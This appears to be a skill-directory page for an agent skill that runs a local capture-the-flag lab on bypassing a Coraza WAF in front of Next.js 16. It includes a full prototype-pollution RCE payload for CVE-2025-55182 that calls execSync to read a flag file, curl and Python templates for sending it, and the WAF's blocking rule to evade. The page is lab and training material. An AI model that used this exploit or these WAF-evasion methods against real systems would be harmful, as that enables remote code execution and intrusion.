# Waf Bypass Hunter

> Bypass a Coraza WAF protecting a vulnerable Next.js 16 backend. Analyze parser differentials between Go (WAF) and Node.js (backend) to find bypasses.

- Skill: `zebbern/waf-bypass-hunter` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add zebbern/waf-bypass-hunter`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zebbern/waf-bypass-hunter/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: zebbern (https://skillmd.com/u/zebbern)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zebbern/waf-bypass-hunter

---


# WAF Bypass Hunter

## Objective

Bypass the WAF to execute the CVE-2025-55182 exploit payload and capture the flag.

## Architecture

```
┌─────────┐    ┌─────────────┐    ┌─────────────────┐
│  Agent  │───▶│ Coraza WAF  │───▶│ Next.js 16.0.6  │
│         │    │ (Go)        │    │ (Node.js)       │
│         │    │ Port: 9091  │    │ Port: 3000      │
└─────────┘    └─────────────┘    └─────────────────┘
```

## The Exploit (CVE-2025-55182)

This payload triggers RCE in Next.js 16 via prototype pollution:

```http
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489

--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"

"$@0"
--yyy--
```

**This payload is BLOCKED by the WAF** because it contains:
- `:constructor`
- `__proto__`

## Your Goal

Find **as many WAF bypasses as possible**. There are approximately **5 different bypass techniques** that work.

For each bypass, deliver the payload such that:
1. **Bypasses WAF detection** - WAF doesn't see the blocked patterns
2. **Backend parses correctly** - Next.js/Busboy decodes and processes it
3. **Triggers the exploit** - RCE executes and returns the flag

Each bypass exploits a different parser differential between Go and Node.js.

## Testing Method

### Quick PoC Testing (Direct to WAF)

Use curl or Python directly against the WAF at `http://localhost:9091/`:

```bash
curl --path-as-is -i -s -k -X POST \
    -H 'Host: localhost' \
    -H 'Next-Action: x' \
    -H 'Content-Type: multipart/form-data; boundary=yyy' \
    --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
    'http://localhost:9091/'
```

```python
import requests

resp = requests.post(
    "http://localhost:9091/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect"))  # Flag is here!
print(resp.text)
```

**Note:** The flag appears in the `X-Action-Redirect` response header, not the body!

### Debugging (Sandbox Executor)

Use the executor **only when you need WAF logs** to understand why a request was blocked:

```bash
curl -X POST http://localhost:8009/execute \
  -H "Content-Type: application/json" \
  -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'
```

**Response includes WAF logs:**
```json
{
  "stdout": "403",
  "stderr": "",
  "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
  "execution_time_ms": 123
}
```

## Example: Blocked Request

```python
import requests

payload = '''--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''

resp = requests.post(
    "http://waf:9090/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)  # 403 - Blocked by WAF
print(resp.text)
```

## Available Source Code

Study parser implementations in `sources/`:

- `sources/coraza/internal/bodyprocessors/` - WAF's parser (Go)
- `sources/busboy/lib/` - Backend's parser (Node.js)
- `sources/nextjs/packages/next/src/server/` - Next.js server action handling


## Success Criteria

**IMPORTANT: A bypass is ONLY valid if the flag is successfully read.**

Hypothetical or theoretical bypasses do NOT count. You must:
1. Execute the payload against the WAF
2. Receive the flag in the response
3. Show the captured flag as proof

For each **confirmed** bypass:
- Document the technique used
- Show the exact working payload
- Show the captured flag

The flag may appear in:
- Response headers (e.g., `X-Action-Redirect`)
- Response body
- Error messages

The flag format is `HACKTRON{...}`

## WAF Rules (what you're bypassing)

```conf
# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"

```

## Approach

1. Analyze source code in `sources/`
2. Identify where Go and Node.js parse differently
3. Craft payload that exploits the differential
4. Test PoC directly against WAF at `localhost:9091`
5. If blocked, use executor to get WAF logs and understand why
6. Iterate until flag is captured
7. If a technique doesn't work, **move on** - read more code, look for alternative differentials
8. **Keep hunting** - find more bypasses using different techniques!